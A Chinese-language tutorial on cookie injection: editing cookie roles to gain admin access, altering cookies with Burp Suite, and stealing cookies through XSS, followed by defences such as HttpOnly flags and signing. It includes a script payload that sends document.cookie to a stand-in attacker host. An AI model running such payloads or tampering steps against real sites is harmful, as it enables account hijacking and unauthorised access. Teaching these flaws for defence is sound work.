Cookie注入是什么
很多人以为网站登录后就安全了，其实不然。攻击者可能通过修改浏览器中的 Cookie 数据，实现越权访问或身份冒充，这就是常说的 Cookie 注入。
举个例子，你在公司内网系统里是普通员工，但有人发现只要把 Cookie 里的 role=employee 改成 role=admin，就能看到管理员页面。这种漏洞一旦被利用，后果很严重。
常见的 Cookie 注入操作方式
这类问题通常出现在开发者过度依赖前端验证、忽视服务端校验的情况下。下面几种手法在测试环境中经常出现：
1. 手动修改 Cookie 值
打开浏览器开发者工具，找到 Application 或 Storage 标签页，定位到当前域名下的 Cookies。双击任意一条值，直接编辑内容。
比如原始 Cookie 是：
user_id=1001; role=user; auth=true改成：
user_id=1001; role=admin; auth=true刷新页面，如果后端没做角色合法性检查，你就“变成”管理员了。
2. 利用代理工具拦截请求
使用像 Burp Suite 这类工具，可以捕获浏览器发出的所有请求，包括携带的 Cookie 信息。在转发请求前，手动修改 Cookie 内容，观察服务器响应变化。
例如发送一个获取用户信息的请求：
GET /api/profile HTTP/1.1\nHost: example.com\nCookie: sessionid=abc123; level=normal\n...把 level=normal 改成 level=vip，看看是否能拿到 VIP 数据。如果可以，说明存在基于 Cookie 的权限控制缺陷。
3. 构造恶意脚本劫持或伪造 Cookie
当网站存在 XSS 漏洞时，攻击者可以通过注入 JavaScript 脚本读取用户的 Cookie（尤其是未设置 HttpOnly 的）。
比如插入这样的代码：
<script>fetch('https://attacker.com/log?c='+document.cookie)</script>一旦执行，用户的 Cookie 就会被发到攻击者的服务器。之后对方可以直接复制这些凭证，在自己的浏览器中添加相同 Cookie，伪装成目标用户登录。
如何防范 Cookie 注入风险
关键在于不要信任客户端传来的任何数据。服务端必须对每次请求的身份和权限重新验证，不能仅靠 Cookie 中的字段判断。
建议做法包括：
- 敏感信息不要明文存 Cookie，如角色、权限等级等
- 为 Cookie 设置 Secure 和 HttpOnly 标志
- 使用签名机制，比如 JWT，确保数据不被篡改
- 服务端维护会话状态，定期校验合法性
一个简单的签名验证逻辑可以在服务端对比 cookie_value + hash(secret_key + cookie_value)，防止被随意修改。
安全不是靠隐藏实现的，而是靠设计。别让一条小小的 Cookie 成为系统的突破口。